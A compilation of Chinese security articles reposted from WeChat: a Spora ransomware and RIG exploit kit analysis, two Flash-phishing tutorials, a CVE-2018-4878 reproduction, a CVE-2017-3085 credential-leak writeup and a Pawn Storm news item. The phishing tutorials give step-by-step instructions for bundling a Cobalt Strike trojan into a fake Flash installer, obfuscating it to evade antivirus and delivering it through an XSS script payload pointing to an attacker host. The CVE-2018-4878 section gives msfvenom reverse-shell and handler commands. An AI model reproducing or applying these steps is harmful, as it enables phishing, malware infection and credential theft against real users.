仿冒网址、挂马广告页面等多种手段进行病毒推送,虽然该工具箱的服务费用高达每周150美元,但是其依然在黑产市场中拥有庞大的用户群。该工具箱会使用多种不同漏洞进行传播,火绒截获样本中带有漏洞的HTML页面包含CVE-2016-0189的漏洞利用代码。该工具箱经常利用的漏洞,如下图所示:RigEK工具箱常见使用漏洞列表该工具箱制作组织维护有数量庞大的病毒推送代理域名,黑客仅需上传病毒Payload部分,就可以通过这些共享的代理域名在互联网中传播自己的病毒程序。漏洞触发后会运行命令行执行恶意JScript代码。命令行参数,如下图所示:根据我们的整理和分析,其漏洞触发后运行的脚本为下载者病毒,可以根据病毒作者需求下载执行任意可执行文件或者动态库。其远程服务器中所存放的病毒数据是进行过加密的,该恶意脚本会先将下载到的病毒数据存放在内中进行解密,之后根据PE结构IMAGE_FILE_HEADER结构中的Characteristics属性判断下载到的PE文件是否为动态库,如果是动态库则使用regsvr32.exe启动,如果不是动态库则直接使用cmd.exe执行。代码如下图所示:下载者病毒代码2、欺骗用户方式传播病毒作者依然会以仿冒网站为诱骗用户访问页面的主要形式,但是其下载运行病毒的方式却没有利用漏洞传播那么暴力,而是以欺骗用户点击的方式进行。在访问带有网页时,用户会看到页面显示的字符全是乱码,过一秒之后会弹出仿冒的Chrome弹窗提示:未找到“HoeflerText”字体,需要下载执行Chrome_Font.exe,当浏览器弹出是否运行该文件时点击“是”。如果用户按照其提示的步骤进行操作,最终会下载运行勒索病毒。如下图所示:下载执行勒索病毒病毒作者会将其想要仿冒的网站页面代码通过保存页面,在下载到的网页代码中插入恶意脚本。如下图所示:网页代码对比(左为修改后,右为修改前)被插入恶意代码的网页加载时,JavaScript脚本会将所有“>”与“<”符号之间的字符内容全部替换为“&#0;”,使页面中显示的所有字符全部变成乱码。如下图所示:网页乱码其相关代码,如下图所示:制造乱码的JavaScript脚本其插入的恶意代码中包含一个仿冒的弹窗,该弹窗最初是不可见的。如下图所示:仿冒Chrome界面的隐藏的弹窗当页面运行到下图所示脚本时会延时一秒钟后JavaScript脚本会将弹窗的display属性置为可见。如下图所示:延时弹出仿冒弹窗仿冒的窗口弹出当用户点击“Update”按钮之后则会开始下载名为“Chrome_Font.exe”的勒索病毒,并弹出提示诱导用户运行该病毒。如下图所示:诱导用户执行病毒病毒作者伪造的Chrome组件升级窗口如果用户点击“Update”按钮,就会下载名为“Chrome_Font.exe”的勒索病毒程序,在病毒被下载的同时还会弹出。如下图所示:恶意代码弹出的提示窗口三、Payload分析页面传播的病毒为勒索病毒Ransom/Spora,该病毒近期在互联网中的传播速度呈上升趋势。由于用于加密关键数据的RSA公钥是病毒作者生成的,所以如果中毒用户想要恢复被加密的数据文件,就只能通过缴纳赎金的方式,获取到对应的RSA私钥进行解密。而且病毒不但会加密用户的本地文件,还会遍历局域网加密的文件格式,如下图所示:加密的扩展名列表该病毒初次运行会在%APPDATA%目录下释放名为系统所在盘符卷序号的文件,下文中为勒索数据文件。如下图所示:释放文件病毒加密文件过程中会在该文件中记录下相关数据,如当前勒索流程所处步骤、被加密的所有文件路径、加密中所生成的RSA公钥和加密后产生的ID,文件中所存放的数据都通过CryptProtectData函数进行过加密,并且以数据块形式进行存储。如下图所示:数据文件结构存放上述数据所涉到的相关代码,如下图所示:根据数据块偏移写入数据该文件的第一个数据块中记录着当前所要执行的勒索步骤,如果病毒在勒索过程中意外退出,重新启动会继续执行器剩余流程。其流程共分为五个步骤:1.导入存放在PE镜像中的RSA公钥(下文中称MasterRSA公钥),之后遍历本地目录和网络共享,将需要加密的文件路径加密后存在在勒索数据文件中,如果没有可以加密的文件则会在本地各盘符和网络共享中创建指向勒索病毒的快捷方式,进行病毒传播。代码如下图所示:代码展示2.重新生成一组RSA密钥(SubRSA密钥),将公钥导出写入到勒索数据文件中。生成勒索描述页面,页面中包含两个数据:a)生成勒索ID。ID是基于地域信息、加密信息数据整体的部分MD5和加密的各种类型文件数量生成的,将上述信息拼接后,将数字和“|”符号用字母进行替换,最后生出如“CH065-DDZTZ-TZTZT-RZTHY”类似的ID。如下图所示:生成ID代码字符替换b)加密的勒索状态相关数据,其中包括:SubRSA私钥、加密日期、系统用户名、地域信息、勒索病毒标记、加密各种类型文件的数量。数据使用其运行时生成的AES密钥进行加密,之后将该密钥用MasterRSA公钥进行加密之后将加密的AES密钥数据放与整体数据尾部,最后再用Base64算法进行一次加密防止数据被截断。数据内容如下图所示:描述页面中数据存放的结构构造数据的代码3.根据其记录的加密文件路径列表进行文件加密,每个文件加密是都会生成一份独立的AES密钥,进行文件加密后使用SubRSA公钥对AES密钥进行加密,再将加密后的AES密钥数据计算crc32,将两个数据按描述顺序拼接后,放置到被加密文件数据尾部,病毒在加密过程中会计算加密的AES密钥存放位置与最后四个字节的crc32值相符,如果相符说明已经进行过加密,不再进行重复加密。被加密的文件数据最小为0×20个字节,最多为0×500000个字节。如下图所示:被加密的文件数据结构加密文件判断是否被加密文件数据加密4.删除系统还原点。删除注册表键值HKEY_LOCAL_MACHINESOFTWAREClasseslnkfileIsShortcut,使快捷方式不再具有左下角的特殊标记,为此后的病毒流程做准备。代码展示5.打开勒索病毒描述页面。6.将本地磁盘根目录、桌面和网络共享中的文件夹放入具有隐藏文件属性的勒索病毒,并将这些文件夹隐藏,之后创建同名的快捷方式。每次点击这些快捷方式后,会执行一段控制台命令,除了打开同名文件夹外,还会运行勒索病毒,从而达到其持续加密和局域网传播的目的。病毒为了执行时更加隐蔽,其会将同目录下的勒索病毒拷贝到%temp%目录进行执行,即使%temp%目录中的勒索病毒执行时被安全软件查杀也不会影响其事先构造的目录结构,依然可以驻留在用户计算机中。由于将前面流程中已经把HKEY_LOCAL_MACHINESOFTWAREClasseslnkfileIsShortcut键值删除,所以其快捷方式图标与目录图标完全相同。如下图所示:创建与目录同名的快捷方式快捷方式中包含的命令行释放快捷方式代码四、相关样本 本文始发于微信公众号(零组攻防实验室):解码新型勒索病毒Spora ,通过IE、Flash漏洞等方式传播
阅读全文
flash钓鱼 安全文章

flash钓鱼

前言        发现一个好玩的github项目,正好,最近手机上老是收到莫名的诈骗短信,我决定钓一波。准备钓鱼套件https://github.com/r00tSe7en/Flash-Pop 美化版https://github.com/hackxc/xss_flash 普通版1.生成木马并捆绑flash的安装程序 将木马与flash安装程序捆绑一起木马解压位置:windows的自启动目录,这个百度钓鱼钓时间长就知道了。你要高兴,放桌面都行。这地方让对方下载后,不要急着让木马启动,电脑都会装杀毒,如果免杀不到位,一运行就凉了。所以开机启动是最保险。C:ProgramDataMicrosoftWindowsStartMenuProgramsStartuphttps://www.winrar.com.cn/   winrar下载地址     3、简单做一下木马免杀我们选取的加壳软件是ASPack,语言改成中文。剩下打开木马,压缩就好了。一般能免杀10天左右。 4、在文件index.html “立即下载位置”链接改为 木马名字+后缀。放到目录。(这个页面可以直接访问使用)由于是中英文切换的所以英文页面也要改一下。5、修改一下version.js文件中的链接,为自己的钓鱼页面。(主要与XSS直接配合使用) 6、我比较喜欢用宝塔,我们新建一个站点,填好域名,改为静态后,将源码放入对应的网站目录下。没有服务器和域名怎么办 http://www.webweb.com/   香港云可以白嫖7、下面开始钓鱼如果你想利用XSS钓鱼可以使用src标签 构造payload:<scriptsrc="http://www.xx.com/Flash.cn/version.js"> </script>提示:护网中最好使用域名相近的域名。我们找一个存在XSS的网站,在存在异常的参数位置,输入构造的payload,点击确定后,就会跳转到我们钓鱼页面。8、对方下载安装后,成功上线。     本文始发于微信公众号(Khan安全攻防实验室):flash钓鱼
阅读全文
Xss Flash钓鱼 安全文章

Xss Flash钓鱼

#前言在日常的渗透测试中,xss占很大一部分比例,如果能打到管理员的cookie则可以登录后台,进一步的进行漏洞挖掘,但是随着网站工作人员的安全意识增高,在很多网站上已经设置有httponly,所有这个时候可以进行Xss Flash钓鱼,获取网站管理员的pc机权限。#搭建1、直接从Github下载大佬们制作好的项目,地址:https://github.com/hackxc/xss_flash2、搭建flash钓鱼网站,这里使用phpstudy本地搭建,根目录设置为Flash.cn文件夹。3、搭建完成#捆绑木马制作与免杀1、这里使用cobaltstrike生成木马,Attacks --> Packages --> Payload Generator,选择Powershell2、生成好后开始免杀操作,这里使用Introduction混淆器进行免杀,Github地址:https://github.com/danielbohannon/Invoke-Obfuscation,下载好后进行解压。3、解压好后在当前目录右键 --> 新建 --> 快捷方式4、输入powershell然后下一步即可,创建好后右键选择属性,设置起始目录为当前目录5、点击确定即可完成安装6、需要注意的是,在打开powershell的时候需要使用管理员模式运行,然后执行Set-ExecutionPolicy Unrestricted,再执行Import-Module ./Invoke-Obfuscation.psd1,最后执行Invoke-Obfuscation启动。7、使用命令确定生成好的cs木马文件:set scriptpath D:美团外卖payload.ps18、输入encoding进行混淆,然后选择1-ASCII9、再输入out 1.ps1导出文件10、经测试可以正常上线,使用360+火绒进行查杀11、免杀好木马后还需要在电脑上下载winrar解压软件,下载好后创建一个新的文件夹,我这里命名的捆绑木马制作,然后按照下图,把所有的东西都复制进去,还有木马。12、选择这些东西,然后右键进行压缩,并更改后缀为exe13、点击高级 --> 自解压选项 --> 解压路径:C:windowstemp14、点击设置,选择提取后运行:C:windowstempartifact.exeC:windowstempflashplayerpp_install_cn.exe15、点击模式选择全部隐藏16、点击更新,选择解压并更新文件和覆盖所有文件17、保存后,生成exe,点击后会解压软件然后执行,这里再使用cobaltstrike上的host file功能挂载到服务器上。18、把生成好的链接替换到钓鱼网站主页的下载链接19、再把version.js放进钓鱼网站里,然后修改其跳转地址为http://www.flash.com20、打开xss靶场21、输入xss代码:">,插入进去后刷新页面。22、点击确定后跳转到flash钓鱼页面23、点击下载24、双击打开25、查看cobaltstrike,发现主机上线成功#总结开弓没有回头箭,且行且珍惜,以上仅作学习,切勿用于违法犯罪。END 本文始发于微信公众号(网络侦查研究院):Xss Flash钓鱼
阅读全文
Flash RCE 漏洞(CVE-2018-4878)复现 安全文章

Flash RCE 漏洞(CVE-2018-4878)复现

0x01 前言该漏洞影响 Flash Player 版本28.0.0.137以及之前的所有版本,而Adobe公司计划在当地时间2月5日紧急发布更新来修复此漏洞。从Adobe公告致谢来看,这个漏洞的野外攻击样本最早是由韩国计算机应急响应小组(KR-CERT)发现的,而KR-CERT也表示,来自朝鲜的黑客组织已经成功利用这个0Day 漏洞发起攻击。0x02 环境攻击机: kali 2018  (192.168.59.6)靶机: Windows 10 x64   (192.168.59.160)Web服务器: Windows 7 X64  (192.168.59.127)0x03 复现过程我们先在kali生成一个python类型的shellcodemsfVENOM -p windows/meterpreter/reverse_tcp LHOST=192.168.59.6 LPORT=6666 -f python > /root/shellcode.txt替换EXP里面的shellcode使用cve-2018-4878.py生成文件,我这里用的是Sublime Text 3 Ctrl+B运行python,会在本目录下生成两个文件index.html,exploit.swf然后把这两个文件放到Web服务器里面在kali的MSF里面设置监听msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.59.6msf exploit(handler) > set LPORT 6666msf exploit(handler) > exploit然后使用靶机的win10 IE访问Web服务器的文件index.html最后由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的 本文始发于微信公众号(无害实验室sec):Flash RCE 漏洞(CVE-2018-4878)复现
阅读全文
CVE-2017-3085:Adobe Flash泄漏Windows用户凭证 安全文章

CVE-2017-3085:Adobe Flash泄漏Windows用户凭证

点击上方蓝字可以订阅哦早前我写了一篇文章讲述Flash沙盒逃逸漏洞最终导致Flash Player使用了十年之久的本地安全沙盒项目破产。从之前爆出的这个漏洞就可以看出输入验证的重要性,靠着Flash运行时混合UNC以及文件URI就足够提取本地数据,之后获取Windows用户凭证传输给远端SMB服务器。Flash Player 23开始使用local-with-filesystem沙盒,有效的解决了本地存在的这两个问题。然而有趣的是在发行说明中却忽略了local-with-networking以及remote这两个沙盒,实在让我怀疑官方是否有用心在修补漏洞。事实上,最初的测试显示Flash拒绝所有的UNC或者文件风格的路径,就连沙盒似乎都不接受非HTTP URL。反过来思考这个问题,是不是我们只要先通过了输入验证就可以随意修改输入表达式了?本文所述漏洞已向Adobe报告(APSB17-23),分配的CVE为CVE-2017-3085.HTTP重定向再次重申利用之前那个漏洞的关键,在于我们的恶意Flash应用能连接到SMB服务器。不经过身份验证直接让服务端拒绝我们的访问,之后服务端触发漏洞获得Windows用户凭证。Adobe似乎有意识到这种攻击向量的存在。Flash之前的版本都可以从任意SMB服务端加载资源,23版本之后就开始拒绝所有的UNC及文件风格路径(两种用于引用SMB主机的方案),例如10.0.0.1somefile.txt以及file://///10.0.0.1/some/file.txt,两者等效且被拒绝访问。不幸的是本想采用微软的URI列表来构造生成我们想要的URL,然而最终的结果让人不太满意。沙盒及URLLoader都不接受前缀非HTTP或者HTTPS的路径,似乎是Adobe通过切换到白名单方法来进行加强。现在我们是否能在通过输入验证之后更改请求路径?虽然HTTP的使用被限制了,但我们可以转而利用HTTP的重定向去访问SMB主机。HTTP与SMB的这个组合虽然不常见,但并非不能组合。根据这个思路,我立马联想到知名的Redirect-to-SMB漏洞。通过设置HTTP的Location头信息以及一个恰当的响应代码(例如301,302),就可以利用该漏洞将HTTP请求重定向到一个恶意SMB服务器漏洞利用在我们的攻击场景中,恶意Flash应用以及SMB服务都运行在IP地址为23.100.122.2的机器上。该Flash应用运行在目标本地机器上的remote沙盒,也就是说运行时禁止本地文件系统访问,但允许远程连接。追溯Win32 API发现受Redirect-to-SMB影响的函数驻留在urlmon.dll,因此使用该Flash的IE及其他第三方应用都是存在威胁的。尝试重定向到一个出站请求GET /somefile.txt:Code #2032是Flash对Stream Error的代号,此外#2048可能表明成功,使用Wireshark看看到底发生了什么:我们的HTTP/1.1 302响应没有触发SMB通信,可是请注意这里有一个对crossdomain.xml的GET请求,被称为跨域策略文件,如果没有明确允许domain-b.com,托管在domain-a.com的Flash应用运行时就不会从该域加载资源。细心的读者可能注意到Adobe的定义与HTTP CORS(参考RFC6454)不同,限制了其本身的跨域数据处理。具体来说它没有去考虑其他不同的协议,因此该安全机制与我们的攻击没有任何交集:我们尝试重定向到SMB,相同主机上的不同协议。然而有趣的是,通过Wireshark获取的信息表明:crossdomain.xml请求的地址与我们Flash应用的地址相同。采用Adobe开发指南中的语法构造一个限制最小的跨域策略:<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy>    <site-control permitted-cross-domain-policies="all"/>    <allow-access-from domain="*" secure="false"/>    <allow-http-request-headers-from domain="*" headers="*" secure="false"/></cross-domain-policy>重新加载Flash应用,继续观察:成功建立目标机器(23.100.122.3)与我们的远程服务器(23.100.122.2)之间的SMB连接。至此我们便可以重复之前的操作。使用一个Python脚本调用SMBTrap对恶意SMB服务器进行操作,之后通过传入的请求捕获目标的用户凭证:总结有趣的是与之前的漏洞相比较,这次Edge与Chrome(开启Flash)都不受影响,似乎这两个浏览器都对Flash连接SMB主机已经有了防护机制。Firefox及Internet Explorer受该漏洞影响,当前版本的Microsoft Office同样适用。除此之外,该漏洞还影响到remote 和 local-with-networking两个沙盒。Flash Player 26.0.0.151已修复该漏洞,用户可通过Windows Update以及Adobe官网进行下载更新。附录受影响主机环境Firefox Internet Explorer Microsoft Office 2010, 2013 and 2016受影响平台Flash Player 23.0.0.162 to 26.0.0.137Windows XP, Vista, 7, 8.x and 10参考文献Adobe Security Bulletin APSB17-23CVE-2017-3085ZDI-17-634Threatpost – Patched Flash Player Sandbox Escape Leaked Windows CredentialsSC Magazine UK – Recently patched Flash Player sandbox leaks Windows credentialsBleepingComputer – Recently Patched Flash Bug Can Leak Windows CredentialsSecurity.NL (Dutch) – Radboud-student ontdekt opnieuw lek in Adobe Flash PlayerSecNews (Greek) – Flash Player μετά την...
阅读全文
趋势:Pawn Storm网络间谍行动利用最新Flash 0day攻击各国外交部门 安全文章

趋势:Pawn Storm网络间谍行动利用最新Flash 0day攻击各国外交部门

势科技最新发现 Pawn Storm 网络间谍移动利用新的 Adobe Flash 漏洞对全球展开攻击,此漏洞目前确认影响 Adobe Flash Player 19.0.0.185 及 19.0.0.207 这两个版本,多个国家的外交部成为攻击的目标。PawnStorm是一项兼具深度与广度的持续性网络间谍行动,自2007年开始即专门针对一些知名机构和人士,政府机关或是媒体名人等都在攻击目标之列。近年来各国外交部则成为Pawn Storm锁定的攻击目标。这次发生的攻击事件,手法与今年四月攻击北约组织与美国白宫等政府机构的行动类似,是以社交工程钓鱼邮件(Spear-phishing email),通过全球所瞩目的国际事件为主题来吸引收件人打开邮件。 “兵风暴(Pawn Storm)”行动被指是一场被指由俄罗斯政府支持的黑客组织所进行的网络间谍活动。据悉,Pawn Storm针对的是西方政府、军方、国防企业和媒体记者,被认为与俄罗斯政府有关。这个组织在2015年第一季度有大量活动。最令人瞩目的是他们建立了大 量Exploit URL和新的C&C服务器,用来攻击北约成员国和欧洲、亚洲、中东的政府。这个组织从2007年开始运作。其主要目标包括国防工业、军队、政府组 织和媒体。趋势科技 Deep Discovery 已可协助侦测此波攻击,已同步通知并协助 Adobe 处理此事件,并会持续追踪此波攻击的发展,最新事件讯息请持续关注趋势科技博客:http://blog.trendmicro.com/trend ... awn-storm-campaign/。 本文始发于微信公众号(T00ls):趋势:Pawn Storm网络间谍行动利用最新Flash 0day攻击各国外交部门
阅读全文